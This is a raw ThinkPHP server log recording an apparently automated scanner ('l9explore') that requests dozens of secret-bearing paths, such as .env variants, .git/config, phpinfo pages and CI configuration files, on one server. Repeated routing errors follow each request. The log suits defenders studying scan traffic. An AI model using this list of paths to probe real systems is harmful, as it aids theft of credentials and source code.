'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:01+08:00 ] 179.43.168.146 GET 59.110.137.245/.env_sample [运行时间:0.002122s] [吞吐率:471.27req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env_sample', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:02+08:00 ] 179.43.168.146 GET 59.110.137.245/server/.git/config [运行时间:0.002025s] [吞吐率:493.85req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'server', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:03+08:00 ] 179.43.168.146 GET 59.110.137.245/bootstrap.yml [运行时间:0.001943s] [吞吐率:514.64req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bootstrap.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:03+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.old [运行时间:0.002040s] [吞吐率:490.22req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:04+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.production [运行时间:0.002196s] [吞吐率:455.36req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.production', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:05+08:00 ] 179.43.168.146 GET 59.110.137.245/.git/config [运行时间:0.001952s] [吞吐率:512.25req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.git', 2 => 'config', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:06+08:00 ] 179.43.168.146 GET 59.110.137.245/public/.git/config [运行时间:0.002233s] [吞吐率:447.82req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:07+08:00 ] 179.43.168.146 GET 59.110.137.245/.envrc [运行时间:0.002024s] [吞吐率:494.09req/s] [内存消耗:132.27kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.envrc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:07+08:00 ] 179.43.168.146 GET 59.110.137.245/api/.git/config [运行时间:0.001973s] [吞吐率:506.86req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'api', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:08+08:00 ] 179.43.168.146 GET 59.110.137.245/config.yml [运行时间:0.001941s] [吞吐率:515.14req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:08+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.development.local [运行时间:0.002069s] [吞吐率:483.33req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.development.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:09+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.live [运行时间:0.002013s] [吞吐率:496.78req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.live', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:09+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.production.local [运行时间:0.001991s] [吞吐率:502.31req/s] [内存消耗:132.42kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.production.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:10+08:00 ] 179.43.168.146 GET 59.110.137.245/data/.git/config [运行时间:0.002071s] [吞吐率:482.88req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'data', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:11+08:00 ] 179.43.168.146 GET 59.110.137.245/.gitlab-ci.yml [运行时间:0.002050s] [吞吐率:487.82req/s] [内存消耗:132.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.gitlab-ci.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:11+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.dev [运行时间:0.002062s] [吞吐率:485.00req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.dev', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:12+08:00 ] 179.43.168.146 GET 59.110.137.245/php-info.php [运行时间:0.001970s] [吞吐率:507.60req/s] [内存消耗:132.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'php-info.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:13+08:00 ] 179.43.168.146 GET 59.110.137.245/_profiler/phpinfo.php [运行时间:0.001983s] [吞吐率:504.30req/s] [内存消耗:132.40kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '_profiler', 2 => 'phpinfo.php', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:13+08:00 ] 179.43.168.146 GET 59.110.137.245/.travis.yml [运行时间:0.002105s] [吞吐率:475.06req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.travis.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:14+08:00 ] 179.43.168.146 GET 59.110.137.245/php_info.php [运行时间:0.001962s] [吞吐率:509.70req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'php_info.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:14+08:00 ] 179.43.168.146 GET 59.110.137.245/dev/.git/config [运行时间:0.001989s] [吞吐率:502.79req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'dev', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:15+08:00 ] 179.43.168.146 GET 59.110.137.245/www/.git/config [运行时间:0.002001s] [吞吐率:499.80req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'www', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:16+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.local [运行时间:0.002080s] [吞吐率:480.78req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] 